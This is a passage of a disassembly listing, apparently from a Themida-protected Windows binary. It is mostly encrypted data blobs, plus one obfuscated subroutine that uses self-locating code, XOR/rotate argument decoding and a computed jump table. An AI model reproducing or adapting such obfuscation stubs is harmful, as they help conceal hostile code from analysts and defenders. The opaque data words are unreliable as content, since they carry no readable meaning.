329Ah dd 8D4F6E00h, 86F293B6h, 0FF6FCD10h, 2D5AC6B7h, 625B5BCBh dd 0F6C9D4Dh, 6D11979Fh, 0B110213Dh, 3093A941h, 169C0920h dd 0D64A4C5Dh, 467604Fh, 4F3B0194h, 4571E162h, 1271A248h dd 37BB9CA2h, 0C8DE76B5h, 331913F7h, 0D0979FEh, 0A0605A30h dd 4669D954h, 46B63B78h, 0F3392A4h, 2E169CE7h, 0E470992Ch dd 2AFB1690h, 40C37005h, 595FE6D0h, 0D092EF4Ah, 0D242A50Eh dd 0A44E8138h, 0CFBB2B8Fh, 0A471E162h, 0F821A4BAh, 839A0E72h dd 0F019ACB2h, 7B9A0E72h, 0F053C0AAh, 0D3F6CD8Fh, 9A9A0E72h dd 72F51C89h, 8B789A0Eh, 8D82B424h, 1F898DA2h, 0B40F2F5Fh dd 9C1373ACh, 735C0D1h, 54EF10ABh, 1086F20Dh, 0CCF0DFF0h dd 6DDD624Fh, 0B9E06329h, 441086F2h, 80AE5C73h, 57C7247Ch dd 0A6A28665h, 68A82673h, 173A09D3h, 0D61386F2h, 41F525C5h dd 11000000h, 0BCE010ABh, 0F2ADF44Fh, 7F501086h, 6B7C765Fh dd 0B60B2F5Dh, 624F60D4h, 4A4373E3h, 249E9EA0h, 4F6359C9h dd 6B1A4A86h, 12F879A9h, 47AA0753h, 0A5EEDFD7h, 0E1DED848h dd 2EB51109h, 0D1000000h, 0BCE010ABh, 0F2ADF44Fh, 0D5DE1086h dd 0F363C652h, 0D2E5CAC3h, 1F0CFDEDh, 9389A698h, 864F6B4Fh dd 3F8DB82Ch, 0E724C63Dh, 56261686h, 0E1624F72h, 1B989971h dd 90A16BABh, 7A29C131h, 108B73C5h, 5C2ED74h, 0D05F36A6h dd 1F140272h, 4CEB2B9Bh, 0ED4D7A65h, 0A00D987Dh, 2897AC9Bh dd 3Eh, 57C72404h, 0F525D95Fh, 65E5AE9h, 0CEDF169Ch, 0CE3EC3F0h dd 8001F21Ch, 0AF0D2610h, 5940F73Fh, 0D1B37D66h, 0E611380Bh dd 3A731693h, 45ECA17Fh, 0B081987h, 5B5634A4h, 80F05374h dd 0C72447F5h, 25D95F57h, 4E5AE9F5h, 0CF169C09h, 0FE3317FEh dd 0BB5F0B7Bh, 0DEE010ABh, 4E475FF9h, 9377F66Eh, 248D4F9Fh dd 0A5EC59C9h, 481086F2h, 50C03C77h, 93816966h, 9A0A68C9h dd 53C7A39Ch, 0DF66C724h, 1086F2BAh, 5D5F7041h, 73A6A286h dd 0B968A826h, 2Ah, 0E010ABCDh, 0DE624FBCh, 0BBA7C6Eh dd 1086F2C6h, 4FA894A5h, 59C9246Bh, 0B5725663h, 4Ah, 6A1FE2F3h dd 3F8DA69Eh, 624FE74Bh, 0ACE778E0h, 0E3754AC6h, 15F5CACCh dd 8CB0E09Bh, 0F2ADF44Fh, 0C5EE1086h, 0CEBFF767h, 242D0A1Ch dd 0F889873Ah, 4F0D0F20h, 53C3248Dh, 9575E560h, 61C9249Dh dd 788D296Eh, 0F02C0364h, 624F7256h, 0EA6479E1h, 0EFCFB847h dd 0DEF9D6C0h, 918FAB1Eh, 0D1422833h, 0F73C0272h, 3D120474h dd 0AF64DF4Dh, 1E108B0Eh, 1C9F2897h, 0D95AC9ACh, 3C7AEA4Dh dd 0C02A6C43h, 0D00ED000h, 0C12370Eh, 0C8D91082h, 0DB838322h dd 0C9D21698h, 0EABC1711h, 791C3331h, 0E010ABB3h, 244327BCh dd 866557C7h, 2673A6A2h, 3DB968A8h, 0CD000000h, 0BCE010ABh dd 0F2ADF44Fh, 7F501086h, 246B4F3Dh, 4BBB3DC9h, 5F5D724Bh dd 8D4F7256h, 86F293B6h, 0A1495A10h, 3501h, 9E253700h dd 1086F27Bh, 0F2FC25A0h, 0AE7F1086h, 0D14921F2h, 0DEE010ABh dd 4E656D5h, 0ADF44F10h, 0DE1086F2h, 6B4FCBF1h, 6DDD624Fh dd 0B852C226h, 928AFA7Bh, 0C7247256h, 0FA4E8757h, 1282E709h dd 970C2B24h, 87AC361Bh, 0B46D290Dh, 0BE45EF9Bh, 108B2B09h dd 4500DEC0h, 1082281Ch, 751CCEDFh, 8EFE7D4Ah, 4BBB38E7h dd 0E85B814Bh, 108228A1h, 298F7B4Ch, 0AA192555h, 169F22E6h dd 0AA1A9A87h, 0D9BC936Ch, 50C03C75h, 99816966h, 0BCE010ABh dd 0C7244327h, 0A2866557h, 0A82673A6h, 2FB968h, 0E6EF0000h dd 5CE67AC7h, 7DB55528h, 0BCE010ABh, 0F44F8D4Fh, 1086F2ADh dd 308B7F50h, 1086F2E9h, 4F998394h, 59C9246Bh, 0B5725663h dd 37h, 0E010ABD1h, 0E2624FBCh, 66506572h, 9C900553h, 0B4DD68EEh dd 0D510866Fh, 0D8EAB100h, 0D2ABEB5Bh, 5A364305h, 8BB19EB0h dd 6DDD624Fh, 0A0B65429h, 59C9249Ch, 24725663h, 0D95F57C7h dd 0ECE9F525h, 9D333892h, 56349Ah, 9C82B145h, 0D1574416h dd 916F5661h, 0DCEB458Eh, 0FB3822F3h, 2C660474h, 0C3825C8Ch dd 10B73B46h, 69B01315h, 871CB738h, 3A0BB525h, 0CFF991Dh dd 0AA851AF8h, 84F4776Ch, 89F979BAh, 1E9D92E1h, 0F66F57B6h dd 0A7888631h, 2DD0146Fh, 0E95571Fh, 0BB82539Fh, 0DCBF02E1h dd 0CF3FBDF6h, 1714F6C7h, 0E2512494h, 0ACC5F161h, 0DBDADC4Ch dd 0E744832Ah, 77BC9E77h, 0BA9383F3h, 70E063D0h, 1CBE46h dd 0E2FC0000h, 5E1B3E63h, 0FEECBD46h, 446D2F16h, 4F3D79E9h dd 86F2ADF4h, 507F5010h, 0CA2482BAh, 0E4475C5Ah, 0D3314274h dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h dd 0EA4F6452h, 52783C7Ah, 0C281E289h, 4, 8704EA83h, 248B2414h dd 7CE26824h, 1C890000h, 1F0B6824h, 0C890000h, 0CE685024h dd 584C631Ah, 0AD1DF435h, 11BE5606h, 0C1200C2Bh, 0F68104E6h dd 34C53AADh, 0DEF7DEF7h, 0E107C681h, 0F0210A21h, 0C362D5Eh dd 0C38903ECh, 0C8B5458h, 4C48124h, 53000000h, 1B1BB951h dd 4C010F99h, 8F590424h, 69810841h, 991B1B08h, 240C8B0Fh dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815B2434h dd 4C4h, 7EACE900h, 0CB67FFF9h, 37B2C23Dh, 0B85DD0D1h dd 61BFF10h, 0E0FFC503h, 200CEFEEh, 562F7D3Eh, 687A83B0h dd 45A0BDF4h, 45C1FD68h, 7BAADFAEh, 11CFB437h, 5C5A3DDh dd 4D49E454h, 541D14A1h, 390E3844h, 2E3CAA2Fh, 6CAA5234h dd 13E8h, 58283F00h, 426E927Ch, 78817F7h, 0C51083F8h, 0D91AF36Eh dd 0BA5BC68Bh, 34B77E18h, 69A7C381h, 0F500000h, 480h, 3BB86600h dd 39BF58AAh, 8B00001Ah, 0AE80Bh, 0F6CE0000h, 48EA90F9h dd 0E37C9C8h, 0AE952h, 0E3F50000h, 0B44B2F21h, 518137E2h dd 0F181585Ah, 69257C4Eh, 0C18156B4h, 7B30665h, 5AF28166h dd 27C18124h, 661D4C6Fh, 8051D38Bh, 38F82DEh, 0EB83F78Bh dd 0F0B70F04h, 0F01EF83h, 2485h, 6E900h, 0C59D0000h, 807B6D69h dd 2FE9h, 2375AC00h, 5E42BFDAh, 0EFC26868h, 0CC19C368h dd 2F6F3602h, 324FBE69h, 7CE9069Ch, 41FFFFFFh, 84922217h dd 46CE7579h, 1A98625h, 5B2AFB81h, 1638D8Dh, 8B66061Ch dd 0D850FC6h, 0E9000000h, 8, 395C3247h, 0A2228744h, 27218D89h dd 0BD230615h, 6153399h, 4CD85C7h, 6EE40615h, 0DE810000h dd 3F46B226h, 111585C7h, 615h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5F6EB9C3h dd 25B5896Ch, 0FF061529h, 153375B5h, 81853306h, 0FF061527h dd 1502C995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 5EFD2218h, 0D5EB24B1h, 8166E0EDh dd 6AD667CAh, 2195FF00h, 8B06152Eh, 0EA0AEBC0h, 0C8264CA7h dd 7AFED267h, 878D8D61h, 6A061C02h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5D37C357h dd 0E97DB603h, 12h, 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h dd 8D89B124h, 6152721h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 45C35343h, 0ACADB1D9h, 5890F43h, 66000000h dd 1E33C281h, 0C6D9D8Bh, 85C70615h, 61504CDh, 6BA0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B0C35545h, 15DDB509h dd 0BD890615h, 6152509h, 111585C7h, 615h, 0B5890000h, 6150401h dd 10F1B5FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0D76D4DC3h, 7CE4EA94h, 95FFF9FEh dd 61502C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0FFC35242h, 4840F35h, 66000000h, 6A68F9BEh, 2195FF00h dd 8B06152Eh, 1878EBC0h, 46FC4B57h, 0ACA562CBh, 0CDD457FBh dd 20EB115Dh, 5FCCA4F3h, 7567713Ah, 6645D2ECh, 0BD08A6FEh dd 0B4DA5603h, 328FCFD3h, 0A3728794h, 0B510931Fh, 4B2E3588h dd 92A377C5h, 8CAACDFBh, 34CC2BC2h, 93D90A2h, 0D0046D68h dd 0E325956h, 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh, 0F0437034h dd 0DE5D28EAh, 0F14F7327h, 7936542Ch, 52DBE427h, 9634E09Ch dd 67C918BCh, 0E88CEB9Dh, 10h, 831238B3h, 0B95B6032h, 571E30AAh dd 0C83C2701h, 5EC78B66h, 0B723F081h, 0C68132D7h, 6107h dd 68BBB3h, 8B000000h, 0FC535FC7h, 3E0C8B5Bh, 0D4DB8166h dd 0CBF1813Dh, 0B4E97C5h, 151D7185h, 3DF18106h, 8928F787h dd 15172D95h, 0C2F18106h, 0F591C12h, 684h, 35858B00h, 51061529h dd 0C140DA81h, 48F1FF7h, 1595893Eh, 89061503h, 1519F195h dd 0A0EF8106h, 92A29FAh, 1512ADB5h, 9CC78106h, 0B2A29FAh dd 15199995h, 94FF8106h, 0FFFFF9Fh, 0FFFF9485h, 318D89FFh dd 8D061527h, 1C04928Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 96059A6Eh, 14E8A3h, 47690000h dd 0BCA9EB68h, 6CD588D5h, 825A1560h, 0B67AF512h, 0BB660226h dd 895EFA96h, 1527218Dh, 0EB816606h, 85C7585Ch, 61504CDh dd 728Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 3BC35040h, 0FB78C1D4h, 19BD8B93h, 0C7061523h, 15111585h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 13E8E0h, 98920000h, 4A82E201h, 82E8BF80h dd 4AE2F908h, 0A5D1D2E0h, 0A19D8B19h, 5B061509h, 1D45B5FFh dd 95010615h, 6150219h, 2C995FFh, 7E90615h, 4C000000h dd 6CA23863h, 6ADA87h, 2E2195FFh, 0C08B0615h, 90F70BEBh dd 0E7B292F8h, 0AF37A02Dh, 688D8D7Eh, 8B061C05h, 152C9185h dd 218D8906h, 60061527h, 79858B60h, 0E9061529h, 0Ch, 3106CBDAh dd 0F2923833h, 30933F8Fh, 0CEB70F61h, 0CD85C761h, 0D8061504h dd 6A000064h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0D06BC353h, 111585C7h, 615h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 83BA4BC3h, 37C2E05Ah, 1365C61h, 150C35BDh, 95B5FF06h dd 89061505h, 1519AD8Dh, 0C995FF06h, 6A061502h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 7DF5C350h, 25FBEA75h, 95FF006Ah db 21h, 2Eh, 15h byte_5E9F97 db 6 ; DATA XREF: Themida_:0057B3DCo dd 6AEBC08Bh, 0EA890D1Ah, 3F8A8A07h, 705A73E4h, 195DC509h dd 61B42056h, 0FDEDA0C3h, 3C0489CFh, 9F6178B7h, 434371DEh dd 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 349D069Fh dd 11FF97BDh, 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 7B3D7AA2h, 0BE845930h dd 0C5EFD5DDh, 6620D8A3h, 8E873A3h, 0AB000000h, 8E9666EDh dd 9F3D589h, 152F618Dh, 81F85806h, 7105C0h, 0BFCE8B00h dd 558371D9h, 55B3EF81h, 81665583h, 8B1A84D9h, 0D3BF0F30h dd 7A40EE81h, 0BD89582Bh, 61508F1h, 0F60FF681h, 8589258Fh dd 61522D9h, 0EAECC681h, 3089023Eh, 3318D89h, 0E8830615h dd 5E904h, 0FBBD0000h, 4F24C466h, 0FFC1850Fh, 5E9FFFFh dd 29000000h, 86049BAh dword_5EA07C dd 7378D8Dh, 6A061Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h ; DATA XREF: Themida_:0057BD08o dd 150424h, 51410000h, 663F45C3h, 44CCF781h, 27218D89h dd 11E90615h, 68000000h, 7017AF46h, 0BF1CA08Ch, 0B5A9B294h dd 6E467967h, 4CD85C7h, 58080615h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D37B16C3h dd 29E8ACA4h, 1504DD8Dh, 1585C706h, 61511h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C4DBC353h, 22710FFBh, 0C840F1Ch, 0F000000h dd 680h, 49EF8100h, 0FF0CCD37h, 152921B5h, 0CE96006h, 9000000h dd 2D9A06C2h, 0B2993FD5h, 230C8C7Ch, 150CC195h, 95FF6106h dd 61502C9h, 7864CDBEh, 3D95890Fh, 6A061502h, 2195FF00h dd 8B06152Eh, 844DEBC0h, 9030BC6Eh, 56D8895Bh, 0F9F5891h dd 313D4855h, 72202418h, 5D75AEB6h, 6C54F2C9h, 67A53FD1h dd 774B10A9h, 0CDF8E159h, 68F324B9h, 42BDAA7h, 0F5B82A86h dd 72D8F588h, 6B05611Eh, 0F878F846h, 369F09AAh, 323DFB22h dd 6455036Ah, 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5EA1BD proc near ; CODE XREF: sub_406890+12Cp ; sub_409BC0+1Cp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 61C0797h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5EA313 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 71B167A6h xor eax, ebx sub eax, 4 mov [ebp+6152721h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0D9248B32h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+61504CDh], eax mov eax, [edx+14h] mov [ebp+6151115h], eax mov eax, [edx+18h] push ebx jmp loc_5EA2D7 ; --------------------------------------------------------------------------- db 0FFh dd 151D45B5h, 0B9E906h, 0B5FF0000h, 6152F59h, 0AEE9h, 0DB5FF00h dd 0E906152Eh, 0A3h, 595B5FFh, 98E90615h, 0FF000000h, 152D19B5h dd 8DE906h, 0B5FF0000h, 61510F1h, 82E9h, 0EDB5FF00h, 0E9061533h dd 77h, 2B5B5FFh, 6CE90615h, 0FF000000h, 1523E1B5h, 61E906h dd 0B5FF0000h, 6152921h, 56E9h, 39B5FF00h, 0E9061523h dd 4Bh, 3375B5FFh, 40E90615h, 0FF000000h, 150009B5h, 35E906h dd 0B5FF0000h, 6152CBDh, 2AE9h, 49B5FF00h, 0E906152Ah dd 1Fh, 33A9B5FFh, 14E90615h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5EA2D7: ; CODE XREF: sub_5EA1BD+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+61C07F8h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- db 0FFh dd 1502C995h, 858B5B06h, 6152721h, 0F045839h, 0F85h, 16A5300h dd 2E2195FFh, 0E95B0615h, 0FFFFFFE2h db 61h, 5Ah, 0C3h ; --------------------------------------------------------------------------- loc_5EA313: ; CODE XREF: sub_5EA1BD+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EA1BD endp ; --------------------------------------------------------------------------- dd 2F29858Bh, 8D8D0615h, 61C08E6h, 8B014189h, 0C585C6C3h dd 56061509h, 0C530DF68h, 11B5FFA9h, 8D061528h, 1872BC85h dd 8DD0FF06h, 1528398Dh, 406A5106h, 33B9B5FFh, 0B5FF0615h dd 615119Dh, 0B5FFD0FFh, 61533B9h, 119DB5FFh, 0DE80615h dd 24000000h, 0DB41C830h, 0A7C8E699h, 32943FFAh, 0E8835858h dd 242CC104h, 2424C102h, 24040302h, 2B241CF7h, 634FFF6h dd 0BDEF815Fh, 81161E00h, 20F5FC7h, 0E5EF8141h, 5746F513h dd 8330048Fh, 343B04EEh, 0DA850F24h, 8DFFFFFFh, 150FFD9Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h dd 0A4D8D8Dh, 6A061Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 3DB767C3h, 8D640B96h, 89D98B54h dd 1527218Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 372C1A7Ch, 0C71B1F9Bh, 1504CD85h dd 6A3C06h, 3D9D2300h, 0C7061502h, 15111585h, 6, 0A1B58900h dd 0FF06150Bh, 1502B5B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4B84D490h dd 9797C5ABh, 95FF9679h, 61502C9h, 0FF006AF5h, 152E2195h dd 0EBC08B06h, 0E31D862Fh, 52A5D089h, 0DBB575F6h, 1FB96EDh dd 0BB82CDE3h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah dd 0AF595D85h, 0B84CC1E0h, 0DD204B7h, 0E5E9h, 98306700h dd 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh dd 43F1B6D0h, 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 0Bh dup(0) dd 6DE90000h, 68000015h, 61C0D77h, 0F972D9E9h, 0E8268FFh dd 0CFE9061Ch, 68FFF972h, 61C0F5Eh, 0F972C5E9h, 109868FFh dd 0BBE9061Ch, 68FFF972h, 61C1110h, 0F972B1E9h, 11CB68FFh dd 0A7E9061Ch, 68FFF972h, 61C1277h, 0F9729DE9h, 133D68FFh dd 93E9061Ch, 68FFF972h, 61C13F0h, 0F97289E9h, 153968FFh dd 7FE9061Ch, 68FFF972h, 61C1652h, 0F97275E9h, 17AF68FFh dd 6BE9061Ch, 68FFF972h, 61C1890h, 0F97261E9h, 19F868FFh dd 57E9061Ch, 68FFF972h, 61C1B2Dh, 0F9724DE9h, 1D1068FFh dd 43E9061Ch, 68FFF972h, 61C1E01h, 0F97239E9h, 50C03EFFh dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0FECA0FB6h dd 30B1169Ah, 66C7240Ch, 86F2BADFh, 0C47F4110h, 1086F29Dh dd 4F604F60h, 0BD25666Fh, 8C8E11C4h, 696E30DEh, 0B98CBE26h dd 10867990h, 0FD6D4A5Bh, 0F122C869h, 63532292h, 815B6393h dd 4F16AE54h, 47233D9Ch, 9BF2245Ch, 9E98A916h, 93E3F617h dd 0A5187F16h, 0BD2F19A4h, 519F9Dh, 949D0000h, 4EC6A414h dd 3DB0BABh, 9BF5F040h, 0A5062B16h, 5F615535h, 93F1BDE4h dd 406F4016h, 45B5357Eh, 0B0A567A5h, 7F50D1EDh, 0C9F4961Fh dd 16935884h, 0DB17C671h, 0CF74DEFAh, 0A1BD0A26h, 93E1FF22h dd 0BDAD7E16h, 0BD2D6BCEh, 0C4F19Dh, 24C50000h, 525F57C7h dd 980864F0h, 11727FB7h, 0FF7C75A1h, 8EA11173h, 0E94E63E7h dd 0AA403D79h, 86F7FCFBh, 80431910h, 1086F759h, 0BA771324h dd 0E050AD39h, 332426CFh, 7A21B3BAh, 2011F95Ch, 5E8342A3h dd 1D10869Bh, 85F3230Ch, 6BD81B1h, 169C6C42h, 0CF7B1A2Bh dd 0FCEE5EE2h, 0ACB2E296h, 8BE11619h, 3A041510h, 6C0979F9h dd 40A733B7h, 12370ED0h, 0D91CABDAh, 0C716E7C8h, 94B1C328h dd 12BB22A2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h dd 26CF3FBCh, 0CF12B19Dh, 0AE169AFFh, 0C6244FEDh, 969BBF56h dd 9A73A313h, 50C043F0h, 0BAB77C5h, 0F04003DBh, 2B169BF5h dd 5733A306h, 0E5605667h, 1693F1B8h, 66E3CA45h, 9DBD1D03h dd 0F589h, 1072BF00h, 9CB32384h, 624F46EEh, 8C7D6DDDh dd 0D2F7CE2Fh, 301086F2h, 71A43A39h, 6334EC74h, 0D9594A4Ch dd 765F2D69h, 9CB3D312h, 6C573315h, 1086580Fh, 2C32A221h dd 414E9332h, 1C2D1086h, 0F63B1F6Eh, 3D120474h, 680272F6h dd 5CE748ABh, 10864135h, 0CEC8E7B8h, 526C9C5Ch, 4172E261h dd 77484EBEh, 5E02C193h, 1F169CB6h, 0D2292F2h, 4DF8E668h dd 16933504h, 0B868D85Ah, 0DD4DACE7h, 83B3832Dh, 5E4808BBh dd 2D3108Bh, 299C571Dh, 0E2D6B426h, 46A40DD1h, 92F03FD6h dd 82065B22h, 5B59B1C2h, 11B0D7h, 0D848A600h, 1383E63Dh dd 0E050AD82h, 2A9A1E15h, 0E656D44Bh, 0A013980Fh, 4CE3B222h dd 859A7BEBh, 51DEB727h, 0E0F382F2h, 0FC0247FEh, 28E9169Ah dd 56C62414h, 0A31370BFh, 0B642BA9Bh, 8CFD26EBh, 86F890B9h dd 654A5B10h, 0AE5CCC2Eh, 0C72459DFh, 0F1525F57h, 0B8970765h dd 3935B1A6h, 0C5322098h, 0DA044625h, 8609266Bh, 57D8C510h dd 0F1DEAFE7h, 93356EDh, 0E9BA1086h, 45B51001h, 73E36051h dd 0B9381BA2h, 3A09D505h, 169B00D6h, 9FB88697h, 3CF01871h dd 1A9A999Eh, 7BEC0AAh, 0E0784C7h, 0AEB0E0A0h, 8DFD83B0h dd 0FA7FB489h, 21C5E08Ah, 0B4EB3CCBh, 7145B3E3h, 7D52C225h dd 9E67E261h, 25F6152Ah, 0F9B1819h, 2FB3BABh, 58DB482Dh dd 0E43615E8h, 87ADB421h, 10D42Bh, 94048200h, 5FCF3201h dd 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh dd 0E14E2797h, 0D22F363h, 6C573EAEh, 0FDBEE362h, 0BC3D169Ah dd 66C72480h, 86F2BADFh, 5F704110h, 0FD2DD157h, 0A2E62E1h dd 9EAF169Ch, 0DF0FAFF7h, 37AC44FFh, 60311089h, 0CF766836h dd 1CACB78Ah, 0DBCAA071h, 1CACB7B2h, 60E9D43Bh, 0A3D25EDDh dd 4063h, 0BAB3700h, 0FF4003DBh, 7E169C41h, 24A091ADh dd 11B4AAB4h, 1693BDC8h, 0F666C6B3h, 5F6231D9h, 1693A238h dd 9461D132h, 30911D9Fh, 0D6F9D6C0h, 102F64E0h, 845A0000h dd 93A298C1h, 0B8526316h, 0BF0BAB84h, 0DBE3CC3Ch, 5E555D6h dd 942F2D2Fh, 1086F24Dh, 96141F30h, 61594426h, 0EC16A2FDh dd 49AE03DBh, 0E5CA3ABDh, 0D040C0B1h, 24C6E9E6h, 32A22112h dd 0FF6FCC63h, 5D8D31B7h, 609A5481h, 0CBE45C3Bh, 0DBFC07E5h dd 0A9417BA2h, 0BF633093h, 91A10BEh, 0F7FFC35h, 73962D2Fh dd 0FA1CBEBCh, 28324129h, 243AAA0Bh, 0BEBC78A1h, 5832031Ch dd 0AEE858DBh, 724C7C3Ch, 0A44D8BD3h, 0C4596A1Ah, 0ABA2F2DFh dd 9A86EE08h, 0BC00000Fh, 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah dd 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh, 0AD1D9F94h dd 68D85BC8h, 0B1143A8Dh, 169AE268h, 0B6EA5213h, 1086F297h dd 0BE80B050h, 0A2FC3007h, 58663716h, 8D68D85Bh, 71A51596h dd 0CF12B1ABh, 45169AF9h, 74BC5A79h, 3E0FB1A6h, 6292664Ch dd 0D431825Ch, 0AD5D3264h, 8039DA0Eh, 0B92A310h, 0B1BF0714h dd 2245ADC7h, 3400000Fh, 74AB4ABAh, 43F085F5h, 6CC352C2h dd 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh, 0E959DE55h, 2595170Ch dd 0F060E350h, 19ACB225h, 169AE3F0h, 2442FA7Bh, 525F57C7h dd 0A69581F1h, 8BFB7FB4h, 0E1D8B28Bh, 1DCE5BEEh, 105697A8h dd 54000009h, 7E6CDC5Fh, 0DB0BAB96h, 38FCD903h, 999E6D21h dd 0D4564525h, 5516A2DFh, 7A647A44h, 9ADF86CBh, 0B6546516h dd 0EF86F675h, 8B53C340h, 6452C226h, 4D9F4C6Bh, 0D7A14E2Eh dd 537AF933h, 0C169AECh, 0E192446Ch, 3E1989EFh, 775864C1h dd 3D886E67h, 30F5D919h, 5A3363D3h, 4BF9575h, 108019CCh dd 0FCFD8091h, 0E3B1BF26h, 0E6771D1h, 8FEF0000h, 48A9761Fh dd 87E63DD8h, 4FB17E17h, 89E936DFh, 6C1F7C19h, 9461D131h dd 0CDA8189Fh, 8F66D656h, 0E2B323A0h, 3356EDF1h, 0BA169AE3h dd 864F0339h, 67FEE3Eh, 3CED9D38h, 5A474FBFh, 84CD78D9h dd 0DA1086B7h, 0D3ACEA5Ah, 43735C6Dh, 5B5BCB2Eh, 4076E646h dd 469D1089h, 5AEFDE57h, 97A862CFh, 83A55h, 97B63100h dd 501086F2h, 7BE80B0h, 16A2FDE5h, 86ABB384h, 88A9B525h dd 0D0F9CC2Dh, 9B169AF9h, 0A6C5A58Ah, 6492FA79h, 0B036054Bh dd 0E654426Dh, 69DCE212h, 10800731h, 0F12EBBCh, 0D4B1BF2Ch dd 0DBB62E2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h dd 26CF3FBCh, 0CF12B19Dh, 0AE169AE0h, 0C7244FEDh, 587D5F57h dd 0B9B75436h, 0B97A10B5h, 0E1CCCA3Ah, 59E46558h, 0DF97A827h dd 7A7h, 66DDFFDDh, 1086F323h, 54CF9CAh, 0E81086F3h, 0F798E8DFh dd 0A8875330h, 0AEEA2F96h, 80911086h, 0BAB32EAh, 94003DBh dd 7216A2FDh, 96831765h, 0DD8D22F4h, 8D6E8B9h, 0D92A6FD6h dd 0E944169Ah, 14F6C779h, 51249417h, 0C5F161E2h, 0EA5ADAD7h dd 8C37D3ACh, 169AD941h, 142A5A1Eh, 802179B1h, 0FDB5A210h dd 0C55E607Ah, 3203B357h, 0BE7F626Bh, 136F85B1h, 0CF5h dd 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh, 967FEF53h dd 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h, 97C710E5h dd 9AE1E52Ch dd 35078816h, 5F57C724h, 0BD81F152h, 0BD2D929Fh, 86F2C108h dd 0EF9BAC10h, 10BF3645h, 0A81DB439h, 6DD3C97h, 4F500000h dd 4670E062h, 0DE02A149h, 3D1086F2h, 7C460D18h, 0B7888EFEh dd 936E12A0h, 0CDFDC1F7h, 0C63A52F1h, 0EABB16A2h, 0EC5CDFD4h dd 0D991A09h, 4E103FAFh, 0B46CB510h, 3E0F169Ah, 0A858E24Ch dd 0EA4D6678h, 74433C7Ah, 0DB3FB59Eh, 96A842EAh, 87ED7B2Fh dd 6C310210h, 0B1BF35C9h, 4220A492h, 1400000Ch, 0D44B2A9Ah dd 2310E555h, 0CC6332A2h, 